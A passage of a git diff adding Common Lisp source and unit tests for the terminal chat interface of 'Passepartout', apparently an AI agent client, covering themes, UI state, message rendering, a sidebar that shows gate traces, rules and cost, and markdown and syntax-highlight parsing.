(merge-pathnames ".cache/passepartout/theme.lisp" + (user-homedir-pathname)))) + (uiop:ensure-all-directories-exist (list path)) + (with-open-file (out path :direction :output :if-exists :supersede :if-does-not-exist :create) + (format out ";; Passepartout TUI theme — auto-generated~%") + (format out "(setf passepartout.channel-tui::*tui-theme* '~s)~%" *tui-theme*) + (format out "(setf passepartout.channel-tui::*tui-theme-current-name* ~s)~%" *tui-theme-current-name*)) + t)) + +(defun theme-load () + "Load persisted theme from disk. Called at startup. +Adds any missing keys with defaults to handle saved themes from older versions." + (let ((path (merge-pathnames ".cache/passepartout/theme.lisp" + (user-homedir-pathname)))) + (when (uiop:file-exists-p path) + (ignore-errors (load path))) + ;; Fill in any missing keys from the default preset + (let ((defaults (getf *tui-theme-presets* *tui-theme-current-name*))) + (when defaults + (dolist (key '(:bg-input :bg-element :text-muted :agent-border :thinking-bg :symbolic-border)) + (unless (getf *tui-theme* key) + (let ((val (getf defaults key))) + (when val (setf (getf *tui-theme* key) val))))))))) + +(defun theme-switch (name) + "Switch to a named theme preset. Returns the preset name or nil if not found." + (let* ((key (intern (string-upcase (string name)) :keyword)) + (preset (getf *tui-theme-presets* key))) + (when preset + (setf *tui-theme* (copy-list preset) + *tui-theme-current-name* key) + (theme-save) + (setf (st :dirty) (list t t t)) + key))) + +(defun theme-color (role) + "Returns a hex color string for a semantic role, suitable for cl-tty." + (let ((val (or (getf *tui-theme* role) :white))) + (cond + ((stringp val) val) + (t (case val + (:green "#00FF00") (:red "#FF0000") (:cyan "#00FFFF") + (:yellow "#FFFF00") (:magenta "#FF00FF") (:blue "#0000FF") + (:white "#FFFFFF") (:black "#000000") + (:bright-black "#666666") (:bright-yellow "#FFD700") + (t "#FFFFFF")))))) + +(defun st (key) (getf *state* key)) +(defun (setf st) (val key) (setf (getf *state* key) val)) + +(defun init-state () + (setf *state* + (list :running t :mode :chat :connected nil :stream nil + :input-buffer nil :input-history nil :input-hpos 0 + :messages (make-array 16 :adjustable t :fill-pointer 0) + :scroll-offset 0 :busy nil :cursor-pos 0 + :pending-ctrl-x nil + :scroll-at-bottom t :scroll-notify nil + :streaming-text nil :url-buffer nil ; v0.7.1 + :collapsed-gates nil ; v0.7.2 + :search-mode nil :search-query "" ; v0.7.2 + :search-matches nil :search-match-idx 0 + :sidebar-mode :auto ; v0.8.0: :auto/:visible/:hidden + :sidebar-width 42 ; v0.8.0 + :expand-tool-calls nil ; v0.8.0 + :mcp-count 0 ; v0.8.0 + :kill-ring nil ; v0.9.0 + :dialog-stack nil ; v0.8.0 + :minibuffer-active nil ; v0.8.0 + :command-palette-active nil ; v0.8.0 + :command-palette-dialog nil ; v0.8.0 + :session-cost 0.0 ; v0.9.0 + :daemon-version nil ; filled by handshake + :dirty (list nil nil nil)))) + +(defun now () + (multiple-value-bind (s m h) (get-decoded-time) + (declare (ignore s)) + (format nil "~2,'0d:~2,'0d" h m))) + +(defun input-string () + (coerce (reverse (st :input-buffer)) 'string)) + +(defun input-insert-char (ch) + "Insert character at cursor position into the input buffer." + (let* ((buf (st :input-buffer)) + (pos (or (st :cursor-pos) 0)) + (s (coerce (reverse buf) 'string)) + (new (concatenate 'string (subseq s 0 pos) (string ch) (subseq s pos)))) + (setf (st :input-buffer) (reverse (coerce new 'list))) + (setf (st :cursor-pos) (1+ pos)))) + +(defun input-delete-char () + "Delete character before cursor position (standard backspace)." + (let* ((buf (st :input-buffer)) + (pos (or (st :cursor-pos) 0))) + (when (and buf (> pos 0)) + (let* ((s (coerce (reverse buf) 'string)) + (new (concatenate 'string (subseq s 0 (1- pos)) (subseq s pos)))) + (setf (st :input-buffer) (reverse (coerce new 'list))) + (setf (st :cursor-pos) (1- pos)))))) + +(defun add-msg (role content &key gate-trace panel) + (vector-push-extend (list :role role :content content :time (now) :gate-trace gate-trace :panel panel) (st :messages)) + ;; v0.7.0: notify when scrolled up and new msg arrives + (unless (st :scroll-at-bottom) + (setf (st :scroll-notify) t)) + (setf (st :dirty) (list t t nil))) + +(defvar *slash-commands* + '((:title "/eval — Evaluate Lisp" :value "/eval" :category :session) + (:title "/undo — Undo last operation" :value "/undo" :category :session) + (:title "/redo — Redo last operation" :value "/redo" :category :session) + (:title "/reconnect — Re-establish daemon" :value "/reconnect" :category :session) + (:title "/quit — Save history and exit" :value "/quit" :category :session) + (:title "/q — Quick quit" :value "/q" :category :session) + (:title "/why — Show last gate trace" :value "/why" :category :memory) + (:title "/identity — Edit IDENTITY.org" :value "/identity" :category :memory) + (:title "/tags — List tag severities" :value "/tags" :category :memory) + (:title "/audit — Inspect memory" :value "/audit" :category :memory) + (:title "/audit verify — Memory integrity" :value "/audit verify" :category :memory) + (:title "/rewind — Rewind to snapshot" :value "/rewind" :category :memory) + (:title "/sessions — Show memory snapshots" :value "/sessions" :category :memory) + (:title "/resume — Resume from snapshot" :value "/resume" :category :memory) + (:title "/focus — Set context" :value "/focus" :category :system) + (:title "/scope — Change scope" :value "/scope" :category :system) + (:title "/unfocus — Pop context" :value "/unfocus" :category :system) + (:title "/theme [name] — Show/switch theme" :value "/theme" :category :system) + (:title "/context — Show context summary" :value "/context" :category :system) + (:title "/context why — Debug memory" :value "/context why" :category :system) + (:title "/context dropped — Estimate pruned" :value "/context dropped" :category :system) + (:title "/search — Search messages" :value "/search" :category :navigation) + (:title "/help — Show commands" :value "/help" :category :help) + (:title "/help — Search manual" :value "/help " :category :help)) + "Slash commands for minibuffer select-dialog.") + +(defvar *daemon-commands* + '((:title "Status — Daemon health info" :value (:action :status) :category :session) + (:title "Stats — Daemon statistics" :value (:action :stats) :category :session) + (:title "Ping — Daemon reachability" :value (:action :ping) :category :session) + (:title "Memory Snapshot — Capture state" :value (:action :memory-snapshot) :category :memory) + (:title "Memory Rebuild — Rebuild indices" :value (:action :memory-rebuild) :category :memory) + (:title "Memory Compact — Optimize storage" :value (:action :memory-compact) :category :memory) + (:title "Reload Config — Reload configuration" :value (:action :reload-config) :category :system) + (:title "Reload Identity — Reload identity file" :value (:action :reload-identity) :category :system) + (:title "List Skills — Available skills" :value (:action :list-skills) :category :system) + (:title "Help — Show daemon help" :value (:action :help) :category :help)) + "Daemon commands for the command palette (Ctrl+P).") + +(defun all-commands () + "Merge slash commands and daemon commands into one unified list." + (append *slash-commands* *daemon-commands*)) + +(defun queue-event (ev) + (bt:with-lock-held (*event-lock*) (push ev *event-queue*))) + +(defun drain-queue () + (bt:with-lock-held (*event-lock*) + (let ((evs (nreverse *event-queue*))) + (setf *event-queue* nil) evs))) diff --git a/lisp/channel-tui-view.lisp b/lisp/channel-tui-view.lisp new file mode 100644 index 0000000..bf7719f --- /dev/null +++ b/lisp/channel-tui-view.lisp @@ -0,0 +1,655 @@ +(in-package :passepartout.channel-tui) + +(defun sidebar-visible-p (w) + "Compute whether sidebar should be shown given terminal width W +and current sidebar mode (:auto/:visible/:hidden)." + (let ((mode (st :sidebar-mode))) + (or (eq mode :visible) + (and (eq mode :auto) (> w 120))))) + +(defun word-wrap (text width) + "Wrap TEXT to at most WIDTH columns. Splits on word boundaries. +Returns a list of strings, one per line." + (let ((lines nil)) + (loop while (> (length text) width) + do (let ((break (or (position #\Space text :end width :from-end t) + width))) + (push (subseq text 0 break) lines) + (setf text (string-left-trim '(#\Space) + (subseq text break))))) + (push text lines) + (nreverse lines))) + +(defun view-status (fb w h) + (declare (ignore fb w h)) + ;; Status bar is now a clean black line — blends with global :bg. + ;; No clock, no dot, no text. Everything clean. + ) + +(defun input-panel-top (chat-w h) + "Compute the top row of the input panel based on current input buffer." + (let* ((hpad 2) + (inner-w (- chat-w (* 2 hpad))) + (prompt-w (- inner-w 2)) + (text (input-string)) + (lines (word-wrap text prompt-w)) + (n-lines (max 1 (length lines))) + (panel-rows (max 4 (+ n-lines 2)))) + (- h 4 panel-rows -1))) + + +;; v0.7.2: search-highlight — wrap matching text in **bold** for markdown +(defun search-highlight (content query) + "Wrap occurrences of QUERY in CONTENT with **bold** markers." + (let ((lower-content (string-downcase content)) + (lower-query (string-downcase query)) + (result "") (pos 0)) + (when (and query (> (length query) 0)) + (loop + (let ((found (search lower-query lower-content :start2 pos))) + (unless found (return)) + (setf result (concatenate 'string result + (subseq content pos found) + "**" (subseq content found (+ found (length query))) "**")) + (setf pos (+ found (length query))))) + (setf result (concatenate 'string result (subseq content pos))) + (if (string= result "") content result)))) + +(defun view-chat (fb w h) + (let* ((w (or (and (numberp w) (> w 0) w) 80)) + (h (or (and (numberp h) (> h 0) h) 24)) + (hpad 2) + (sidebar-w (if (sidebar-visible-p w) (or (st :sidebar-width) 42) 0)) + (chat-w (- w sidebar-w)) + (msgs (st :messages)) (total (length msgs)) + (panel-top (input-panel-top chat-w h)) + (max-lines (max 0 panel-top)) (is-search (st :search-mode)) + (bordered-w (- chat-w (* 2 hpad) 2)) + (unbordered-w (- chat-w (* 2 hpad))) + (y 0)) + (when is-search + (let* ((matches (st :search-matches)) (idx (st :search-match-idx)) + (query (st :search-query)) + (hdr (format nil "Search: ~d matches for '~a' (~d/~d) — Esc to exit" + (length matches) query (1+ idx) (length matches)))) + (cl-tty.backend:draw-text fb hpad y hdr (theme-color :accent) nil) + (incf y) (decf max-lines))) + (let ((msg-lines (make-array total)) (msg-heights (make-array total))) + (dotimes (i total) + (let* ((msg (aref msgs i)) (role (getf msg :role)) + (content (getf msg :content)) + (cs (if is-search (search-highlight content (st :search-query)) content)) + (pairs nil) + (think-bg (theme-color :thinking-bg)) + (sym-bdr (theme-color :symbolic-border)) + (agent-bdr (theme-color :agent-border)) + (user-bdr (theme-color :user-border)) + (user-fg (theme-color :user-fg)) + (agent-fg (theme-color :agent-fg)) + (system-fg (theme-color :system))) + (case role + (:user + (dolist (l (cl-tty.box:word-wrap cs bordered-w)) + (push (list "│" user-bdr l user-fg) pairs))) + ( :agent + (let* ((streaming (getf msg :streaming)) + (think-rect (if streaming think-bg nil)) + (bdr (if streaming nil agent-bdr)) + (bstr (if streaming nil "│")) + (wrap-w (if streaming unbordered-w bordered-w)) + (nodes (cl-tty.markdown:parse-blocks cs)) + (raw-body (or (and nodes (cl-tty.markdown:render-md nodes)) (list ""))) + (body (mapcan (lambda (l) (cl-tty.box:word-wrap l wrap-w)) raw-body))) + (dolist (l body) + (push (list bstr bdr l agent-fg think-rect) pairs)))) + (t (dolist (l (cl-tty.box:word-wrap cs unbordered-w)) + (push (list nil nil l system-fg) pairs)))) + ;; Gate trace + (let ((gt (getf msg :gate-trace))) + (when (and gt (eq role :agent)) + (if (member i (st :collapsed-gates)) + (push (list "│" sym-bdr (format nil "Gate trace: ~a gates" (length gt)) sym-bdr) pairs) + (dolist (entry (passepartout::gate-trace-lines gt)) + (let ((ec (theme-color (getf (cdr entry) :fgcolor)))) + (dolist (l (cl-tty.box:word-wrap (car entry) bordered-w)) + (push (list "│" sym-bdr l ec) pairs))))))) + ;; Tool calls + (let ((tc (getf msg :tool-calls))) + (when tc + (if (member i (st :collapsed-tools)) + (let* ((n (or (getf (first tc) :name) "tool")) + (d (or (getf (first tc) :duration) 0.0))) + (push (list "│" (theme-color :tool-done) (format nil "~a … ~,1fs" n d) (theme-color :tool-done)) pairs)) + (dolist (call tc) + (let* ((name (or (getf call :name) "tool")) + (dur (or (getf call :duration) 0.0)) + (st (getf call :status)) + (out (getf call :output)) + (bc (theme-color + (cond ((eq st :running) :tool-running) + ((eq st :error) :tool-error) + (t :tool-done)))) + (pfx (cond ((eq st :error) "✗") ((eq st :running) "●") (t "✓"))) + (ol (when out (cl-tty.box:word-wrap out bordered-w)))) + (push (list "│" bc (format nil "~a ~a ~,1fs" pfx name dur) bc) pairs) + (dolist (l ol) + (push (list "│" bc l bc) pairs))))))) + (setf (aref msg-lines i) (nreverse pairs)) + (setf (aref msg-heights i) (length pairs)))) + (let ((msg-count 0) (lines-remaining max-lines)) + (loop for i from (1- total) downto 0 + while (> lines-remaining 0) + do (let ((mh (aref msg-heights i)) + (spacer (if (< i (1- total)) 1 0))) + (if (<= (+ mh spacer) lines-remaining) + (progn (decf lines-remaining (+ mh spacer)) (incf msg-count)) + (setf lines-remaining 0)))) + (let* ((scroll-skip (st :scroll-offset)) + (start (max 0 (- total msg-count scroll-skip)))) + (loop for i from start below total while (< y panel-top) + do (let ((pairs (aref msg-lines i))) + (dolist (pair pairs) + (when (>= y panel-top) (return)) + (destructuring-bind (bstr bcolor tstr tcolor &optional rect-bg) pair + (when rect-bg + (cl-tty.backend:draw-rect fb 0 y 1 1 :bg rect-bg)) + (let ((has-border (and bstr (> (length bstr) 0)))) + (when has-border + (cl-tty.backend:draw-text fb hpad y bstr bcolor nil)) + (cl-tty.backend:draw-text fb (+ hpad (if has-border 2 0)) y tstr tcolor nil))) + (incf y)) + ;; spacer between message blocks + (when (< i (1- total)) + (incf y))))))))) + +(defun view-input (fb w h) + (let* ((w (or (and (numberp w) (> w 0) w) 80)) + (h (or (and (numberp h) (> h 0) h) 24)) + (hpad 2) + (sidebar-w (if (sidebar-visible-p w) (or (st :sidebar-width) 42) 0)) + (chat-w (- w sidebar-w)) + (inner-w (- chat-w (* 2 hpad))) + (prompt-w (- inner-w 2)) + (text (input-string)) + (pos (or (st :cursor-pos) 0)) + (lines (word-wrap text prompt-w)) + (n-lines (max 1 (length lines))) + (panel-rows (max 4 (+ n-lines 2))) + (panel-top (input-panel-top chat-w h)) + (bg-i (theme-color :bg-input)) + (input-fg (theme-color :input-fg)) + (hint-fg (theme-color :hint))) + ;; Fill input panel: panel-top to h-4, indented by hpad + (cl-tty.backend:draw-rect fb hpad panel-top inner-w panel-rows :bg bg-i) + ;; Speaker lines for all input rows + (dotimes (r panel-rows) + (cl-tty.backend:draw-text fb hpad (+ panel-top r) "│" (theme-color :input-prompt) nil)) + ;; Draw each wrapped input line + (let ((accum 0) (cursor-line 0) (cursor-col 0)) + (dotimes (i n-lines) + (let* ((line (nth i lines)) + (row (+ panel-top 1 i)) + (len (length line))) + (when (>= row (- h 4)) (return)) + (cl-tty.backend:draw-text fb (+ hpad 2) row line input-fg nil) + (when (and (>= pos accum) (<= pos (+ accum len))) + (setf cursor-line i + cursor-col (- pos accum))) + (incf accum (1+ len)))) + ;; Hint bar at h-2: F:/MCP: on left, token gauge + keybindings on right + (let* ((focal (or (st :foveal-id) "-")) + (focal-str (format nil "F:~a" focal)) + (mcp-str (format nil "MCP:~d" (or (st :mcp-count) 0))) + (left-str (format nil "~a ~a" focal-str mcp-str)) + (msg-count (max 1 (length (st :messages)))) + (ctx-est (* msg-count 60)) + (ctx-limit 8192) + (ctx-pct (min 100 (floor (* 100 ctx-est) ctx-limit))) + (ctx-tok (if (< ctx-est 1000) + (format nil "~d" ctx-est) + (format nil "~dK" (floor ctx-est 1000)))) + (ctx-str (format nil "~a (~d%%)" ctx-tok ctx-pct)) + (hint-str "ctrl+p | /help") + (ctx-fg (cond ((< ctx-pct 50) (theme-color :tool-done)) + ((< ctx-pct 80) (theme-color :input-prompt)) + (t (theme-color :error)))) + (hint-x (- chat-w (length hint-str) 2)) + (ctx-x (- hint-x 1 (length ctx-str)))) + (cl-tty.backend:draw-text fb hpad (- h 2) left-str hint-fg (theme-color :bg)) + (cl-tty.backend:draw-text fb ctx-x (- h 2) ctx-str ctx-fg (theme-color :bg)) + (cl-tty.backend:draw-text fb hint-x (- h 2) hint-str hint-fg (theme-color :bg)))))) + +(defun view-sidebar (fb w h) + (let* ((w (or (and (numberp w) (> w 0) w) 80)) + (h (or (and (numberp h) (> h 0) h) 24)) + (x (- w (or (st :sidebar-width) 42))) + (bg-panel (theme-color :bg-panel)) + (y 0)) + (cl-tty.backend:draw-rect fb x 0 (- w x) (1- h) :bg bg-panel) + (cl-tty.backend:draw-text fb x (1- h) (make-string (- w x) :initial-element #\Space) nil bg-panel) + ;; Gate Trace — from latest agent message + (cl-tty.backend:draw-text fb (+ x 2) (incf y) "GATE TRACE" (theme-color :accent) bg-panel) + (incf y) + (let* ((msgs (st :messages)) + (last-gt (loop for i from (1- (length msgs)) downto 0 + for m = (aref msgs i) + when (getf m :gate-trace) + return (getf m :gate-trace)))) + (if last-gt + (dolist (g last-gt) + (let* ((name (getf g :gate)) + (result (getf g :result)) + (reason (getf g :reason)) + (glyph (case result (:passed "✓") (:blocked "✗") (:approval "→") (t "?"))) + (color (case result + (:passed (theme-color :tool-done)) + (:blocked (theme-color :error)) + (:approval (theme-color :input-prompt)) + (t (theme-color :dim))))) + (cl-tty.backend:draw-text fb (+ x 2) (incf y) (format nil " ~a ~a" glyph name) color bg-panel) + (when reason + (incf y) + (cl-tty.backend:draw-text fb (+ x 4) (incf y) reason (theme-color :dim) bg-panel)))) + (cl-tty.backend:draw-text fb (+ x 2) (incf y) " (none)" (theme-color :dim) bg-panel)) + (incf y 2)) + ;; Rules + Block Count + (let ((blocked (loop for i below (length (st :messages)) + for m = (aref (st :messages) i) + sum (loop for g in (getf m :gate-trace) + count (eq (getf g :result) :blocked))))) + (cl-tty.backend:draw-text fb (+ x 2) (incf y) "RULES" (theme-color :accent) bg-panel) + (incf y) + (cl-tty.backend:draw-text fb (+ x 2) (incf y) + (format nil " ~d active" (or (st :rule-count) 0)) + (theme-color :agent-fg) bg-panel) + (incf y) + (cl-tty.backend:draw-text fb (+ x 2) (incf y) + (format nil " ~d blocked" blocked) + (if (> blocked 0) (theme-color :error) (theme-color :dim)) bg-panel) + (incf y 2)) + ;; Cost + (cl-tty.backend:draw-text fb (+ x 2) (incf y) "COST" (theme-color :accent) bg-panel) + (incf y) + (cl-tty.backend:draw-text fb (+ x 2) (incf y) + (format nil " $~,2f" (or (st :session-cost) 0.0)) + (theme-color :status-fg) bg-panel) + (incf y 2) + ;; Files (stub) + (cl-tty.backend:draw-text fb (+ x 2) (incf y) "FILES" (theme-color :accent) bg-panel) + (incf y) + (cl-tty.backend:draw-text fb (+ x 2) (incf y) " (not yet)" (theme-color :dim) bg-panel) + (incf y 2) + ;; Version footer + (let* ((ver (or (st :daemon-version) "")) + (ver-label (if (> (length ver) 0) (format nil "passepartout ~a" ver) "passepartout")) + (dot (if (st :connected) "●" "○")) + (dot-color (if (st :connected) (theme-color :dot-connected) (theme-color :dot-disconnected)))) + (cl-tty.backend:draw-text fb (+ x 2) (- h 2) dot dot-color bg-panel) + (cl-tty.backend:draw-text fb (+ x 4) (- h 2) ver-label (theme-color :text-muted) bg-panel)))) + +(defun redraw (fb w h) + (setq w (or (and (numberp w) (> w 0) w) 80) + h (or (and (numberp h) (> h 0) h) 24)) + (when (or (first (st :dirty)) (second (st :dirty)) (third (st :dirty))) + (cl-tty.backend:begin-sync fb) + (cl-tty.backend:draw-rect fb 0 0 w h :bg (theme-color :bg)) + (view-status fb w h) + (view-chat fb w h) + (view-input fb w h) + (when (sidebar-visible-p w) + (view-sidebar fb w h)) + (cl-tty.backend:end-sync fb) + (position-cursor fb w h) + (setf (st :dirty) (list nil nil nil)))) + +(defun position-cursor (fb w h) + "Draw cursor at the input insertion point using reverse video (Emacs-style). + + The character under the cursor is redrawn with foreground and background + swapped. If the cursor is past the end of the input string, a reversed + space is drawn." + (let* ((sw (if (sidebar-visible-p w) (or (st :sidebar-width) 42) 0)) + (cw (- w sw)) + (hpad 2) + (text (input-string)) + (text-len (length text)) + (pos (or (st :cursor-pos) 0)) + (prompt-w (- cw (* 2 hpad) 2)) + (display-start (max 0 (- pos (1- prompt-w)))) + (cx (+ hpad 2 (- pos display-start))) + (cy (- h 6)) + (bg-i (theme-color :bg-input)) + (input-fg (theme-color :input-fg))) + (if (< pos text-len) + (let ((ch (char text pos))) + (cl-tty.backend:draw-text fb cx cy (string ch) bg-i input-fg)) + (cl-tty.backend:draw-text fb cx cy " " bg-i input-fg)) + (finish-output (cl-tty.backend::backend-output-stream fb)))) + +(in-package :passepartout) + +(defun char-width (ch) + "Returns the terminal column width of character CH. +ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8." + (let ((code (char-code ch))) + (cond + ((= code 9) 8) + ((< code 32) 0) + ((<= code 127) 1) + ((<= #x4E00 code #x9FFF) 2) + ((<= #x3400 code #x4DBF) 2) + ((<= #x3040 code #x309F) 2) + ((<= #x30A0 code #x30FF) 2) + ((<= #xAC00 code #xD7AF) 2) + ((<= #xFF01 code #xFF60) 2) + ((<= #xFFE0 code #xFFE6) 2) + ((<= #x1F300 code #x1F9FF) 2) + ((<= #x2600 code #x27BF) 2) + ((<= #x0300 code #x036F) 0) + ((<= #x20D0 code #x20FF) 0) + ((<= #xFE00 code #xFE0F) 0) + (t 1)))) + +(in-package :passepartout) + +(defun parse-markdown-spans (text) + "Parse inline markdown. Returns list of (text . (:bold/:underline/:code/:url ...))." + (let ((results nil) (pos 0) (len (length text))) + (labels ((earliest (a b) (cond ((and a (or (null b) (< a b))) a) (b b)))) + (loop + (when (>= pos len) (return)) + (let* ((bold (search "**" text :start2 pos)) + (code (search "`" text :start2 pos)) + (italic (search "*" text :start2 pos)) + (http (search "http://" text :start2 pos)) + (https (search "https://" text :start2 pos)) + (url-s (or https http))) + (flet ((pick (tag delim) + (let ((end (search delim text :start2 (+ pos (length delim))))) + (when end + (push (cons (subseq text (+ pos (length delim)) end) + (case tag (:bold '(:bold t)) + (:code '(:code t :bgcolor :dim)) + (:underline '(:underline t)))) + results) + (setf pos (+ end (length delim))) + t))) + (url-end (start) + (or (position-if (lambda (c) (find c '(#\Space #\Newline #\Tab #\)))) + text :start start) + len))) + (let ((next (earliest (earliest (earliest bold code) italic) url-s))) + (cond ((and bold (eql bold next)) (unless (pick :bold "**") (incf pos 2))) + ((and code (eql code next)) (unless (pick :code "`") (incf pos))) + ((and italic (eql italic next)) (unless (pick :underline "*") (incf pos))) + ((and url-s (eql url-s next)) + (let ((ue (url-end url-s))) + (push (cons (subseq text url-s ue) '(:url t)) results) + (setf pos ue))) + (t (push (cons (subseq text pos) nil) results) (return)))))))) + (nreverse results))) + +(defun render-styled (fb segments y x w) + "Render markdown segments to cl-tty backend. Returns next y." + (declare (ignore w)) + (dolist (seg segments) + (let* ((text (or (car seg) "")) + (attrs (cdr seg)) + (bold (getf attrs :bold)) + (code (getf attrs :code)) + (url (getf attrs :url))) + (declare (ignore code)) + (cl-tty.backend:draw-text fb x y text + (cond (url (passepartout.channel-tui:theme-color :accent)) + (t (passepartout.channel-tui:theme-color (or (getf attrs :role) :agent-fg)))) + (passepartout.channel-tui:theme-color :bg) + :bold bold) + (incf x (length text)))) + y) + +(defun parse-markdown-blocks (text) + "Split text at ``` code block boundaries." + (let ((r nil) (p 0) (l (length text))) + (loop + (when (>= p l) (return)) + (let ((bs (search "```" text :start2 p))) + (unless bs + (push (cons (subseq text p) nil) r) + (return)) + (when (> bs p) + (push (cons (subseq text p bs) nil) r)) + (let* ((ao (+ bs 3)) + (le (or (position #\Newline text :start ao) l)) + (lang (string-trim " \r\n\t" (if (< le l) (subseq text ao le) ""))) + (cs (if (< le l) (1+ le) l)) + (cp (search "```" text :start2 cs)) + (ce (or cp l)) + (content (string-trim "\r\n" (subseq text cs ce)))) + (push (list :code-block t :lang lang :content content) r) + (setf p (if cp (+ cp 3) l))))) + (nreverse r))) + +(defun syntax-highlight (code lang) + "Highlight Lisp code: strings, comments, keywords, function calls." + (declare (ignore lang)) + (let* ((r nil) (p 0) (l (length code)) + (kw '("defun" "defvar" "defparameter" "let" "let*" "lambda" "if" "when" "unless" + "cond" "loop" "dolist" "dotimes" "progn" "prog1" "return" + "setf" "setq" "format" "and" "or" "not" "list" "cons" + "quote" "function" "declare" "ignore" "t" "nil"))) + (flet ((wordp (c) (or (alphanumericp c) (find c "-*+/?!_=<>")))) + (loop + (when (>= p l) (return)) + (let* ((ss (position #\" code :start p)) + (sc (position #\; code :start p)) + (sp (position #\( code :start p)) + (next (min (or ss l) (or sc l) (or sp l)))) + (when (> next p) + (push (cons (subseq code p next) nil) r) + (setf p next)) + (when (>= p l) (return)) + (cond + ((eql p ss) + (let ((e (or (position #\" code :start (1+ p)) l))) + (push (cons (subseq code p (min (1+ e) l)) '(:fgcolor :string)) r) + (setf p (min (1+ e) l)))) + ((eql p sc) + (let ((e (or (position #\Newline code :start p) l))) + (push (cons (subseq code p e) '(:fgcolor :comment)) r) + (setf p e))) + ((eql p sp) + (push (cons "(" nil) r) + (incf p) + (let ((fe (loop for i from p below l for c = (char code i) + while (wordp c) finally (return i)))) + (when (> fe p) + (let ((fs (subseq code p fe))) + (push (cons fs (list :fgcolor (if (member fs kw :test #'string=) + :keyword :function))) r) + (setf p fe))))))))) + (nreverse r))) + +(in-package :passepartout) + +(defun gate-trace-lines (trace) + "Convert gate-trace plist to display lines." + (let ((lines nil)) + (dolist (entry trace) + (let* ((gate (getf entry :gate)) + (result (getf entry :result)) + (reason (getf entry :reason)) + (name (or gate "unknown")) + (color (case result + (:passed :tool-done) + (:blocked :error) + (:approval :accent) + (t :dim))) + (prefix (case result + (:passed " \u2713 ") + (:blocked " \u2717 ") + (:approval " \u2192 ") + (t " ? "))) + (text (format nil "~a~a~@[~a~]~@[~a~]" + prefix name + (when reason (format nil ": ~a" reason)) + (if (eq result :approval) " (HITL required)" "")))) + (push (cons text (list :fgcolor color)) lines))) + (nreverse lines))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-tui-view-tests + (:use :cl :fiveam :passepartout) + (:export #:tui-view-suite)) + +(in-package :passepartout-tui-view-tests) + +(def-suite tui-view-suite :description "TUI view rendering helpers") +(in-suite tui-view-suite) + +(test test-char-width-ascii + "Contract 5: ASCII characters (< 128) have width 1." + (is (= 1 (passepartout::char-width #\a))) + (is (= 1 (passepartout::char-width #\Space))) + (is (= 1 (passepartout::char-width #\@)))) + +(test test-char-width-tab + "Contract 5: tab character has width 8." + (is (= 8 (passepartout::char-width #\Tab)))) + +(test test-char-width-cjk + "Contract 5: CJK characters have width 2." + (is (= 2 (passepartout::char-width #\日)))) + +(test test-char-width-null + "Contract 5: null has width 0." + (is (= 0 (passepartout::char-width #\Nul)))) + +(test test-markdown-bold + "Contract 7: parse-markdown-spans detects **bold**." + (let ((segments (passepartout::parse-markdown-spans "hello **world**!"))) + (is (= 3 (length segments))))) + +(test test-markdown-plain + "Contract 7: plain text returns single segment." + (let ((segments (passepartout::parse-markdown-spans "plain"))) + (is (= 1 (length segments))) + (is (string= "plain" (caar segments))))) + +(test test-markdown-url + "Contract 7: parse-markdown-spans detects URLs." + (let ((segments (passepartout::parse-markdown-spans "see https://example.com for more"))) + (is (>= (length segments) 2)) + (is (find t segments :key (lambda (s) (getf (cdr s) :url)))))) + +(test test-markdown-blocks + "Contract 8: parse-markdown-blocks detects code blocks." + (let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after")) + (segs (passepartout::parse-markdown-blocks text))) + (is (= 3 (length segs))) + (let ((code (second segs))) + (is (eq t (getf code :code-block))) + (is (string= "lisp" (getf code :lang))) + (is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content))))))) + +(test test-markdown-blocks-no-close + "Contract 8: unclosed code block returns content." + (let* ((text (format nil "```~%unclosed code")) + (segs (passepartout::parse-markdown-blocks text))) + (is (= 1 (length segs))) + (is (eq t (getf (first segs) :code-block))))) + +(test test-syntax-highlight + "Contract 9: syntax-highlight colors Lisp code." + (let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp"))) + (is (>= (length segs) 3)))) + +(test test-syntax-highlight-keyword + "Contract 9: syntax-highlight colors keywords." + (let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp"))) + (is (>= (length segs) 2)) + (is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor)))))) + +(test test-syntax-highlight-function + "Contract 9: syntax-highlight colors function calls." + (let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp"))) + (is (>= (length segs) 2)) + (is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor)))))) + +(test test-gate-trace-lines-passed + "Contract 9: gate-trace-lines for passed gate." + (let ((lines (passepartout::gate-trace-lines + '((:gate "path" :result :passed))))) + (is (= 1 (length lines))) + (is (eq :tool-done (getf (cdar lines) :fgcolor))))) + +(test test-gate-trace-lines-blocked + "Contract 9: gate-trace-lines for blocked gate." + (let ((lines (passepartout::gate-trace-lines + '((:gate "shell" :result :blocked :reason "rm"))))) + (is (= 1 (length lines))) + (is (search "rm" (caar lines))))) + +(test test-gate-trace-lines-approval + "Contract 9: gate-trace-lines for approval gate." + (let ((lines (passepartout::gate-trace-lines + '((:gate "network" :result :approval))))) + (is (= 1 (length lines))) + (is (search "HITL" (caar lines))))) + +(test test-init-state-has-collapsed-gates + "Contract v0.7.2: init-state includes :collapsed-gates field." + (passepartout.channel-tui::init-state) + (let ((cg (passepartout.channel-tui::st :collapsed-gates))) + (is (null cg)))) + +(test test-sidebar-state + "Contract v0.8.0: init-state includes :sidebar-mode (:auto) and :sidebar-width (42)." + (passepartout.channel-tui::init-state) + (is (eq :auto (passepartout.channel-tui::st :sidebar-mode))) + (is (= 42 (passepartout.channel-tui::st :sidebar-width)))) + +(defun sidebar-visible-p (w) + "Compute whether sidebar should be shown given terminal width W +and current sidebar mode." + (let ((mode (passepartout.channel-tui::st :sidebar-mode))) + (or (eq mode :visible) + (and (eq mode :auto) (> w 120))))) + +(test test-sidebar-auto-wide + "Contract v0.8.0: sidebar auto-shows when terminal > 120 cols." + (passepartout.channel-tui::init-state) + (setf (passepartout.channel-tui::st :sidebar-mode) :auto) + (is (sidebar-visible-p 140)) + (is (not (sidebar-visible-p 100)))) + +(test test-sidebar-visible-mode + "Contract v0.8.0: :visible mode shows sidebar regardless of width." + (passepartout.channel-tui::init-state) + (setf 